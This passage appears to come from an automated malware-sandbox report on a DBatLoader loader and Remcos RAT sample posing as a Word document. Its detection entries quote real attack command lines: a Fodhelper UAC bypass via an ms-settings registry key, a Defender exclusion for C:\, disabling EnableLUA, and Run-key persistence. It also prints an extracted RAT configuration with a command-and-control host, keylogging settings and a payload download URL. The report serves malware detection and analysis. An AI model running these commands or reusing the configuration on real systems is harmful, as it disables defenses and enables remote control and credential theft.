0x66ee7:$str_b20: while fso.FileExists(" 0x66960:$str_c0: [Firefox StoredLogins not found]
31.2.colorcpl.exe.6420000.2.raw.unpack	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM	Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)	ditekSHen	0x66297:$guid1: {3E5FC7F9-9A51-4367-9063-A120244FBEC7} 0x6622b:$s1: CoGetObject 0x6623f:$s1: CoGetObject 0x6625b:$s1: CoGetObject 0x701e7:$s1: CoGetObject 0x661eb:$s2: Elevation:Administrator!new:
31.2.colorcpl.exe.6420000.2.unpack	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
31.2.colorcpl.exe.6420000.2.unpack	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
31.2.colorcpl.exe.6420000.2.unpack	Windows_Trojan_Remcos_b296e965	unknown	unknown	0x6b757:$a1: Remcos restarted by watchdog! 0x6bccf:$a3: %02i:%02i:%02i:%03i
31.2.colorcpl.exe.6420000.2.unpack	REMCOS_RAT_variants	unknown	unknown	0x657ab:$str_a1: C:\Windows\System32\cmd.exe 0x65727:$str_a3: /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWOR 0x65727:$str_a4: /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWOR 0x65c27:$str_a5: \AppData\Local\Google\Chrome\User Data\Default\Login Data 0x66457:$str_b1: CreateObject("Scripting.FileSystemObject").DeleteFile(Wscript.ScriptFullName) 0x6581b:$str_b2: Executing file: 0x6689b:$str_b3: GetDirectListeningPort 0x66247:$str_b4: Set fso = CreateObject("Scripting.FileSystemObject") 0x663c7:$str_b7: \update.vbs 0x65843:$str_b9: Downloaded file: 0x6582f:$str_b10: Downloading file: 0x658d3:$str_b12: Failed to upload file: 0x66863:$str_b13: StartForward 0x66883:$str_b14: StopForward 0x6631f:$str_b15: fso.DeleteFile " 0x662b3:$str_b16: On Error Resume Next 0x6634f:$str_b17: fso.DeleteFolder " 0x658c3:$str_b18: Uploaded file: 0x65883:$str_b19: Unable to delete: 0x662e7:$str_b20: while fso.FileExists(" 0x65d60:$str_c0: [Firefox StoredLogins not found]
31.2.colorcpl.exe.6420000.2.unpack	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM	Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)	ditekSHen	0x65697:$guid1: {3E5FC7F9-9A51-4367-9063-A120244FBEC7} 0x6562b:$s1: CoGetObject 0x6563f:$s1: CoGetObject 0x6565b:$s1: CoGetObject 0x6f5e7:$s1: CoGetObject 0x655eb:$s2: Elevation:Administrator!new:
Click to see the 27 entries

Sigma Signatures

System Summary

Sigma detected: TrustedPath UAC Bypass Pattern

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\\Windows \\System32\\per.exe" , CommandLine: "C:\\Windows \\System32\\per.exe" , CommandLine|base64offset|contains: , Image: C:\Windows \System32\per.exe, NewProcessName: C:\Windows \System32\per.exe, OriginalFileName: C:\Windows \System32\per.exe, ParentCommandLine: "C:\Windows\sysnative\cmd.exe" /c "C:\Users\user\AppData\Local\Temp\D2F6.tmp\D2F7.tmp\D2F8.bat C:\Users\Public\Libraries\drbdmeyP.pif", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 3960, ParentProcessName: cmd.exe, ProcessCommandLine: "C:\\Windows \\System32\\per.exe" , ProcessId: 8080, ProcessName: per.exe

Sigma detected: Execution from Suspicious Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Tim Shelton: Data: Command: C:\Users\Public\Libraries\drbdmeyP.pif, CommandLine: C:\Users\Public\Libraries\drbdmeyP.pif, CommandLine|base64offset|contains: , Image: C:\Users\Public\Libraries\drbdmeyP.pif, NewProcessName: C:\Users\Public\Libraries\drbdmeyP.pif, OriginalFileName: C:\Users\Public\Libraries\drbdmeyP.pif, ParentCommandLine: "C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe", ParentImage: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe, ParentProcessId: 4220, ParentProcessName: #U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe, ProcessCommandLine: C:\Users\Public\Libraries\drbdmeyP.pif, ProcessId: 2796, ProcessName: drbdmeyP.pif

Sigma detected: New RUN Key Pointing to Suspicious Folder

Source: Registry Key set

Author: Florian Roth (Nextron Systems), Markus Neis, Sander Wiebing: Data: Details: C:\Users\Public\Pyemdbrd.url, EventID: 13, EventType: SetValue, Image: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe, ProcessId: 4220, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Pyemdbrd

Sigma detected: Parent in Public Folder Suspicious Process

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: extrac32 /C /Y C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe "C:\\Users\\Public\\xkn.exe" , CommandLine: extrac32 /C /Y C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe "C:\\Users\\Public\\xkn.exe" , CommandLine|base64offset|contains: {ki, Image: C:\Windows\System32\extrac32.exe, NewProcessName: C:\Windows\System32\extrac32.exe, OriginalFileName: C:\Windows\System32\extrac32.exe, ParentCommandLine: C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe "C:\\Users\\Public\\xkn.exe" , ParentImage: C:\Users\Public\alpha.exe, ParentProcessId: 5856, ParentProcessName: alpha.exe, ProcessCommandLine: extrac32 /C /Y C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe "C:\\Users\\Public\\xkn.exe" , ProcessId: 1264, ProcessName: extrac32.exe

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: C:\\Users\\Public\\alpha /c C:\\Users\\Public\\xkn -WindowStyle hidden -Command "C:\\Users\\Public\\alpha /c C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d 'C:\\Users\\Public\\xkn -WindowStyle hidden -Command "Add-MpPreference -ExclusionPath C:\"' ; " , CommandLine: C:\\Users\\Public\\alpha /c C:\\Users\\Public\\xkn -WindowStyle hidden -Command "C:\\Users\\Public\\alpha /c C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d 'C:\\Users\\Public\\xkn -WindowStyle hidden -Command "Add-MpPreference -ExclusionPath C:\"' ; " , CommandLine|base64offset|contains: , Image: C:\Users\Public\alpha.exe, NewProcessName: C:\Users\Public\alpha.exe, OriginalFileName: C:\Users\Public\alpha.exe, ParentCommandLine: "C:\Windows\sysnative\cmd.exe" /c "C:\Users\user\AppData\Local\Temp\D2F6.tmp\D2F7.tmp\D2F8.bat C:\Users\Public\Libraries\drbdmeyP.pif", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 3960, ParentProcessName: cmd.exe, ProcessCommandLine: C:\\Users\\Public\\alpha /c C:\\Users\\Public\\xkn -WindowStyle hidden -Command "C:\\Users\\Public\\alpha /c C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d 'C:\\Users\\Public\\xkn -WindowStyle hidden -Command "Add-MpPreference -ExclusionPath C:\"' ; " , ProcessId: 1648, ProcessName: alpha.exe

Sigma detected: Suspicious Creation with Colorcpl

Source: File created

Author: frack113: Data: EventID: 11, Image: C:\Windows\SysWOW64\colorcpl.exe, ProcessId: 7688, TargetFilename: C:\ProgramData\gaban

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Users\Public\Pyemdbrd.url, EventID: 13, EventType: SetValue, Image: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe, ProcessId: 4220, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Pyemdbrd

Sigma detected: Execution of Suspicious File Type Extension

Source: Process started

Author: Max Altgelt (Nextron Systems): Data: Command: C:\Users\Public\Libraries\drbdmeyP.pif, CommandLine: C:\Users\Public\Libraries\drbdmeyP.pif, CommandLine|base64offset|contains: , Image: C:\Users\Public\Libraries\drbdmeyP.pif, NewProcessName: C:\Users\Public\Libraries\drbdmeyP.pif, OriginalFileName: C:\Users\Public\Libraries\drbdmeyP.pif, ParentCommandLine: "C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe", ParentImage: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe, ParentProcessId: 4220, ParentProcessName: #U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe, ProcessCommandLine: C:\Users\Public\Libraries\drbdmeyP.pif, ProcessId: 2796, ProcessName: drbdmeyP.pif

Sigma detected: PSScriptPolicyTest Creation By Uncommon Process

Source: File created

Author: Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\Users\Public\xkn.exe, ProcessId: 4340, TargetFilename: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_txw30cbq.i2f.ps1

Sigma detected: Powershell Defender Exclusion

Source: Process started

Sigma detected: Suspicious Reg Add Open Command

Source: Process started

Author: frack113: Data: Command: C:\\Users\\Public\\alpha /c C:\\Users\\Public\\xkn -WindowStyle hidden -Command "C:\\Users\\Public\\alpha /c C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d 'C:\\Users\\Public\\xkn -WindowStyle hidden -Command "Add-MpPreference -ExclusionPath C:\"' ; " , CommandLine: C:\\Users\\Public\\alpha /c C:\\Users\\Public\\xkn -WindowStyle hidden -Command "C:\\Users\\Public\\alpha /c C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d 'C:\\Users\\Public\\xkn -WindowStyle hidden -Command "Add-MpPreference -ExclusionPath C:\"' ; " , CommandLine|base64offset|contains: , Image: C:\Users\Public\alpha.exe, NewProcessName: C:\Users\Public\alpha.exe, OriginalFileName: C:\Users\Public\alpha.exe, ParentCommandLine: "C:\Windows\sysnative\cmd.exe" /c "C:\Users\user\AppData\Local\Temp\D2F6.tmp\D2F7.tmp\D2F8.bat C:\Users\Public\Libraries\drbdmeyP.pif", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 3960, ParentProcessName: cmd.exe, ProcessCommandLine: C:\\Users\\Public\\alpha /c C:\\Users\\Public\\xkn -WindowStyle hidden -Command "C:\\Users\\Public\\alpha /c C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d 'C:\\Users\\Public\\xkn -WindowStyle hidden -Command "Add-MpPreference -ExclusionPath C:\"' ; " , ProcessId: 1648, ProcessName: alpha.exe

Stealing of Sensitive Information

Sigma detected: Remcos

Source: Registry Key set

Author: Joe Security: Data: Details: 3A 22 D7 FF B5 88 35 F7 AA 82 64 02 49 D7 0F 80 19 35 91 19 F2 25 D3 D7 95 75 B1 85 AF 26 E7 F7 95 39 8F 07 14 53 A4 AA 8E C1 BA 48 58 08 D9 D0 5A 99 34 0A 45 06 44 72 48 5F 36 51 EF 6D E4 7F 1D 69 , EventID: 13, EventType: SetValue, Image: C:\Windows\SysWOW64\colorcpl.exe, ProcessId: 7688, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Rmc-5MRRQ3\exepath

Snort Signatures

⊘No Snort rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: www.vipguyclassproject2024.space

Avira URL Cloud: Label: malware

Found malware configuration

Source: #U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Malware Configuration Extractor: DBatLoader {"Download Url": ["https://wcmanagers.com/Er9/233_Pyemdbrdpps"]}
Source: 0000001F.00000002.3694699773.000000000281F000.00000004.00000020.00020000.00000000.sdmp	Malware Configuration Extractor: Remcos {"Host:Port:Password": "www.vipguyclassproject2024.space:2404:0", "Assigned name": "RemoteHost", "Connect interval": "1", "Install flag": "Disable", "Setup HKCU\\Run": "Enable", "Setup HKLM\\Run": "Enable", "Install path": "Application path", "Copy file": "remcos.exe", "Startup value": "Disable", "Hide file": "Disable", "Mutex": "Rmc-5MRRQ3", "Keylog flag": "1", "Keylog path": "Application path", "Keylog file": "logs.dat", "Keylog crypt": "Disable", "Hide keylog file": "Disable", "Screenshot flag": "Disable", "Screenshot time": "10", "Take Screenshot option": "Disable", "Take screenshot title": "", "Take screenshot time": "5", "Screenshot path": "AppData", "Screenshot file": "Screenshots", "Screenshot crypt": "Disable", "Mouse option": "Disable", "Delete file": "Disable", "Audio record time": "5"}

Multi AV Scanner detection for dropped file

Source: C:\Users\Public\Libraries\Pyemdbrd.PIF	ReversingLabs: Detection: 44%
Source: C:\Users\Public\Libraries\Pyemdbrd.PIF	Virustotal: Detection: 50%			Perma Link

Multi AV Scanner detection for submitted file

Source: #U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	ReversingLabs: Detection: 44%
Source: #U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Virustotal: Detection: 50%			Perma Link

Yara detected Remcos RAT

Source: Yara match	File source: 31.2.colorcpl.exe.4580000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 31.2.colorcpl.exe.64218af.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 31.2.colorcpl.exe.64218af.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 31.2.colorcpl.exe.4580000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 31.2.colorcpl.exe.6420000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 31.2.colorcpl.exe.6420000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000001F.00000002.3702973204.0000000004580000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001F.00000002.3694699773.000000000281F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001F.00000002.3705302881.0000000006420000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: colorcpl.exe PID: 7688, type: MEMORYSTR
Source: Yara match	File source: C:\ProgramData\gaban\logs.dat, type: DROPPED

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 99.4% probability

Machine Learning detection for dropped file

Source: C:\Users\Public\Libraries\Pyemdbrd.PIF

Joe Sandbox ML: detected

Machine Learning detection for sample

Source: #U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe

Joe Sandbox ML: detected

Source: C:\Windows\SysWOW64\colorcpl.exe

Code function: 31_2_045B3837 CryptAcquireContextA,CryptGenRandom,CryptReleaseContext,

31_2_045B3837

Source: colorcpl.exe

Binary or memory string: -----BEGIN PUBLIC KEY-----

Exploits

Yara detected UAC Bypass using CMSTP

Source: Yara match	File source: 31.2.colorcpl.exe.4580000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 31.2.colorcpl.exe.64218af.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 31.2.colorcpl.exe.64218af.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 31.2.colorcpl.exe.4580000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 31.2.colorcpl.exe.6420000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 31.2.colorcpl.exe.6420000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000001F.00000002.3702973204.0000000004580000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001F.00000002.3705302881.0000000006420000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: colorcpl.exe PID: 7688, type: MEMORYSTR

Privilege Escalation

Contains functionality to bypass UAC (CMSTPLUA)

Source: C:\Windows\SysWOW64\colorcpl.exe

Code function: 31_2_045874FD _wcslen,CoGetObject,

31_2_045874FD

UAC bypass detected (Fodhelper)

Source: C:\Users\Public\ger.exe

Registry value created: NULL C:\\Users\\Public\\xkn -WindowStyle hidden -Command Add-MpPreference -ExclusionPath C:"

Compliance

Detected unpacking (creates a PE file in dynamic memory)

Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe

Unpacked PE file: 0.2.#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe.2980000.1.unpack

Source: #U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe

Static PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, BYTES_REVERSED_LO, 32BIT_MACHINE, BYTES_REVERSED_HI

Source: unknown

HTTPS traffic detected: 108.170.55.202:443 -> 192.168.2.7:49700 version: TLS 1.2

Source:	Binary string: E:\Adlice\Truesight\x64\Release\truesight.pdb source: #U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe, 00000000.00000003.1256656557.000000007EDC0000.00000004.00001000.00020000.00000000.sdmp, #U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe, 00000000.00000002.1390105592.000000007F280000.00000004.00001000.00020000.00000000.sdmp, #U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe, 00000000.00000003.1256443567.000000007EE90000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: easinvoker.pdb source: #U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe, 00000000.00000003.1256656557.000000007EDC0000.00000004.00001000.00020000.00000000.sdmp, #U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe, 00000000.00000002.1390105592.000000007F280000.00000004.00001000.00020000.00000000.sdmp, #U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe, 00000000.00000003.1256443567.000000007EE90000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: FodHelper.pdb source: extrac32.exe, 00000012.00000002.1282544160.000001FCCC830000.00000004.00000020.00020000.00000000.sdmp, per.exe, 00000022.00000002.1389829508.00007FF6EF4BB000.00000002.00000001.01000000.00000012.sdmp, per.exe, 00000022.00000000.1363110246.00007FF6EF4BB000.00000002.00000001.01000000.00000012.sdmp, per.exe.18.dr
Source:	Binary string: cmd.pdbUGP source: alpha.exe, 00000008.00000000.1264413808.00007FF64B592000.00000002.00000001.01000000.00000007.sdmp, alpha.exe, 00000008.00000002.1265049668.00007FF64B592000.00000002.00000001.01000000.00000007.sdmp, alpha.exe, 0000000A.00000000.1266008004.00007FF64B592000.00000002.00000001.01000000.00000007.sdmp, alpha.exe, 0000000A.00000002.1267795392.00007FF64B592000.00000002.00000001.01000000.00000007.sdmp, alpha.exe, 0000000C.00000000.1268349543.00007FF64B592000.00000002.00000001.01000000.00000007.sdmp, alpha.exe, 0000000C.00000002.1277417828.00007FF64B592000.00000002.00000001.01000000.00000007.sdmp, alpha.exe, 0000000E.00000000.1277719216.00007FF64B592000.00000002.00000001.01000000.00000007.sdmp, alpha.exe, 0000000E.00000002.1280383467.00007FF64B592000.00000002.00000001.01000000.00000007.sdmp, alpha.exe, 00000011.00000002.1284778384.00007FF64B592000.00000002.00000001.01000000.00000007.sdmp, alpha.exe, 00000011.00000000.1280701556.00007FF64B592000.00000002.00000001.01000000.00000007.sdmp, alpha.exe, 00000015.00000002.1361948594.00007FF64B592000.00000002.00000001.01000000.00000007.sdmp, alpha.exe, 00000015.00000000.1285093557.00007FF64B592000.00000002.00000001.01000000.00000007.sdmp, alpha.exe, 00000017.00000000.1301865429.00007FF64B592000.00000002.00000001.01000000.00000007.sdmp, alpha.exe, 00000017.00000002.1305805578.00007FF64B592000.00000002.00000001.01000000.00000007.sdmp, alpha.exe, 00000026.00000000.1390985382.00007FF64B592000.00000002.00000001.01000000.00000007.sdmp, alpha.exe, 00000026.00000002.1397949450.00007FF64B592000.00000002.00000001.01000000.00000007.sdmp, alpha.exe, 0000002A.00000002.1415158264.00007FF64B592000.00000002.00000001.01000000.00000007.sdmp, alpha.exe, 0000002A.00000000.1400142537.00007FF64B592000.00000002.00000001.01000000.00000007.sdmp, alpha.exe.6.dr
Source:	Binary string: powershell.pdbUGP source: xkn.exe, 00000016.00000000.1285526824.00007FF6C891A000.00000002.00000001.01000000.00000008.sdmp, xkn.exe.15.dr
Source:	Binary string: easinvoker.pdbH source: #U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe, 00000000.00000003.1256656557.000000007EDC0000.00000004.00001000.00020000.00000000.sdmp, #U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe, 00000000.00000002.1390105592.000000007F280000.00000004.00001000.00020000.00000000.sdmp, #U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe, 00000000.00000003.1256443567.000000007EE90000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: reg.pdb source: extrac32.exe, 0000000D.00000002.1276914690.00000178283A0000.00000004.00000020.00020000.00000000.sdmp, ger.exe, 00000018.00000002.1302899439.00007FF7E0A10000.00000002.00000001.01000000.0000000B.sdmp, ger.exe, 00000018.00000000.1302258700.00007FF7E0A10000.00000002.00000001.01000000.0000000B.sdmp, ger.exe.13.dr
Source:	Binary string: powershell.pdb source: xkn.exe, 00000016.00000000.1285526824.00007FF6C891A000.00000002.00000001.01000000.00000008.sdmp, xkn.exe.15.dr
Source:	Binary string: cmd.pdb source: alpha.exe, 00000008.00000000.1264413808.00007FF64B592000.00000002.00000001.01000000.00000007.sdmp, alpha.exe, 00000008.00000002.1265049668.00007FF64B592000.00000002.00000001.01000000.00000007.sdmp, alpha.exe, 0000000A.00000000.1266008004.00007FF64B592000.00000002.00000001.01000000.00000007.sdmp, alpha.exe, 0000000A.00000002.1267795392.00007FF64B592000.00000002.00000001.01000000.00000007.sdmp, alpha.exe, 0000000C.00000000.1268349543.00007FF64B592000.00000002.00000001.01000000.00000007.sdmp, alpha.exe, 0000000C.00000002.1277417828.00007FF64B592000.00000002.00000001.01000000.00000007.sdmp, alpha.exe, 0000000E.00000000.1277719216.00007FF64B592000.00000002.00000001.01000000.00000007.sdmp, alpha.exe, 0000000E.00000002.1280383467.00007FF64B592000.00000002.00000001.01000000.00000007.sdmp, alpha.exe, 00000011.00000002.1284778384.00007FF64B592000.00000002.00000001.01000000.00000007.sdmp, alpha.exe, 00000011.00000000.1280701556.00007FF64B592000.00000002.00000001.01000000.00000007.sdmp, alpha.exe, 00000015.00000002.1361948594.00007FF64B592000.00000002.00000001.01000000.00000007.sdmp, alpha.exe, 00000015.00000000.1285093557.00007FF64B592000.00000002.00000001.01000000.00000007.sdmp, alpha.exe, 00000017.00000000.1301865429.00007FF64B592000.00000002.00000001.01000000.00000007.sdmp, alpha.exe, 00000017.00000002.1305805578.00007FF64B592000.00000002.00000001.01000000.00000007.sdmp, alpha.exe, 00000026.00000000.1390985382.00007FF64B592000.00000002.00000001.01000000.00000007.sdmp, alpha.exe, 00000026.00000002.1397949450.00007FF64B592000.00000002.00000001.01000000.00000007.sdmp, alpha.exe, 0000002A.00000002.1415158264.00007FF64B592000.00000002.00000001.01000000.00000007.sdmp, alpha.exe, 0000002A.00000000.1400142537.00007FF64B592000.00000002.00000001.01000000.00000007.sdmp, alpha.exe.6.dr
Source:	Binary string: FodHelper.pdbGCTL source: extrac32.exe, 00000012.00000002.1282544160.000001FCCC830000.00000004.00000020.00020000.00000000.sdmp, per.exe, 00000022.00000002.1389829508.00007FF6EF4BB000.00000002.00000001.01000000.00000012.sdmp, per.exe, 00000022.00000000.1363110246.00007FF6EF4BB000.00000002.00000001.01000000.00000012.sdmp, per.exe.18.dr
Source:	Binary string: reg.pdbGCTL source: extrac32.exe, 0000000D.00000002.1276914690.00000178283A0000.00000004.00000020.00020000.00000000.sdmp, ger.exe, 00000018.00000002.1302899439.00007FF7E0A10000.00000002.00000001.01000000.0000000B.sdmp, ger.exe, 00000018.00000000.1302258700.00007FF7E0A10000.00000002.00000001.01000000.0000000B.sdmp, ger.exe.13.dr

Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Code function: 0_2_029858B4 GetModuleHandleA,GetProcAddress,lstrcpynA,lstrcpynA,lstrcpynA,FindFirstFileA,FindClose,lstrlenA,lstrcpynA,lstrlenA,lstrcpynA,	0_2_029858B4
Source: C:\Users\Public\alpha.exe	Code function: 8_2_00007FF64B572978 FindFirstFileW,FindClose,memmove,_wcsnicmp,_wcsicmp,memmove,	8_2_00007FF64B572978
Source: C:\Users\Public\alpha.exe	Code function: 8_2_00007FF64B587B4C FindFirstFileW,FindNextFileW,FindClose,	8_2_00007FF64B587B4C
Source: C:\Users\Public\alpha.exe	Code function: 8_2_00007FF64B57823C FindFirstFileExW,GetLastError,GetProcessHeap,HeapAlloc,FindNextFileW,GetProcessHeap,HeapReAlloc,FindClose,GetLastError,FindClose,	8_2_00007FF64B57823C
Source: C:\Users\Public\alpha.exe	Code function: 8_2_00007FF64B561560 memset,FindFirstFileW,FindClose,FindFirstFileW,FindNextFileW,FindClose,??_V@YAXPEAX@Z,GetLastError,SetFileAttributesW,_wcsnicmp,GetFullPathNameW,SetLastError,GetLastError,SetFileAttributesW,	8_2_00007FF64B561560
Source: C:\Users\Public\alpha.exe	Code function: 8_2_00007FF64B5635B8 GetFileAttributesW,GetLastError,FindFirstFileW,GetLastError,FindClose,memset,??_V@YAXPEAX@Z,FindNextFileW,SetLastError,??_V@YAXPEAX@Z,GetLastError,FindClose,	8_2_00007FF64B5635B8
Source: C:\Users\Public\alpha.exe	Code function: 10_2_00007FF64B572978 FindFirstFileW,FindClose,memmove,_wcsnicmp,_wcsicmp,memmove,	10_2_00007FF64B572978
Source: C:\Users\Public\alpha.exe	Code function: 10_2_00007FF64B587B4C FindFirstFileW,FindNextFileW,FindClose,	10_2_00007FF64B587B4C
Source: C:\Users\Public\alpha.exe	Code function: 10_2_00007FF64B57823C FindFirstFileExW,GetLastError,GetProcessHeap,HeapAlloc,FindNextFileW,GetProcessHeap,HeapReAlloc,FindClose,GetLastError,FindClose,	10_2_00007FF64B57823C
Source: C:\Users\Public\alpha.exe	Code function: 10_2_00007FF64B561560 memset,FindFirstFileW,FindClose,FindFirstFileW,FindNextFileW,FindClose,??_V@YAXPEAX@Z,GetLastError,SetFileAttributesW,_wcsnicmp,GetFullPathNameW,SetLastError,GetLastError,SetFileAttributesW,	10_2_00007FF64B561560
Source: C:\Users\Public\alpha.exe	Code function: 10_2_00007FF64B5635B8 GetFileAttributesW,GetLastError,FindFirstFileW,GetLastError,FindClose,memset,??_V@YAXPEAX@Z,FindNextFileW,SetLastError,??_V@YAXPEAX@Z,GetLastError,FindClose,	10_2_00007FF64B5635B8
Source: C:\Users\Public\alpha.exe	Code function: 12_2_00007FF64B57823C FindFirstFileExW,GetLastError,GetProcessHeap,HeapAlloc,FindNextFileW,GetProcessHeap,HeapReAlloc,FindClose,GetLastError,FindClose,	12_2_00007FF64B57823C
Source: C:\Users\Public\alpha.exe	Code function: 12_2_00007FF64B572978 FindFirstFileW,FindClose,memmove,_wcsnicmp,_wcsicmp,memmove,	12_2_00007FF64B572978
Source: C:\Users\Public\alpha.exe	Code function: 12_2_00007FF64B587B4C FindFirstFileW,FindNextFileW,FindClose,	12_2_00007FF64B587B4C
Source: C:\Users\Public\alpha.exe	Code function: 12_2_00007FF64B561560 memset,FindFirstFileW,FindClose,FindFirstFileW,FindNextFileW,FindClose,??_V@YAXPEAX@Z,GetLastError,SetFileAttributesW,_wcsnicmp,GetFullPathNameW,SetLastError,GetLastError,SetFileAttributesW,	12_2_00007FF64B561560
Source: C:\Users\Public\alpha.exe	Code function: 12_2_00007FF64B5635B8 GetFileAttributesW,GetLastError,FindFirstFileW,GetLastError,FindClose,memset,??_V@YAXPEAX@Z,FindNextFileW,SetLastError,??_V@YAXPEAX@Z,GetLastError,FindClose,	12_2_00007FF64B5635B8
Source: C:\Users\Public\alpha.exe	Code function: 14_2_00007FF64B57823C FindFirstFileExW,GetLastError,GetProcessHeap,HeapAlloc,FindNextFileW,GetProcessHeap,HeapReAlloc,FindClose,GetLastError,FindClose,	14_2_00007FF64B57823C
Source: C:\Users\Public\alpha.exe	Code function: 14_2_00007FF64B572978 FindFirstFileW,FindClose,memmove,_wcsnicmp,_wcsicmp,memmove,	14_2_00007FF64B572978
Source: C:\Users\Public\alpha.exe	Code function: 14_2_00007FF64B587B4C FindFirstFileW,FindNextFileW,FindClose,	14_2_00007FF64B587B4C
Source: C:\Users\Public\alpha.exe	Code function: 14_2_00007FF64B561560 memset,FindFirstFileW,FindClose,FindFirstFileW,FindNextFileW,FindClose,??_V@YAXPEAX@Z,GetLastError,SetFileAttributesW,_wcsnicmp,GetFullPathNameW,SetLastError,GetLastError,SetFileAttributesW,	14_2_00007FF64B561560
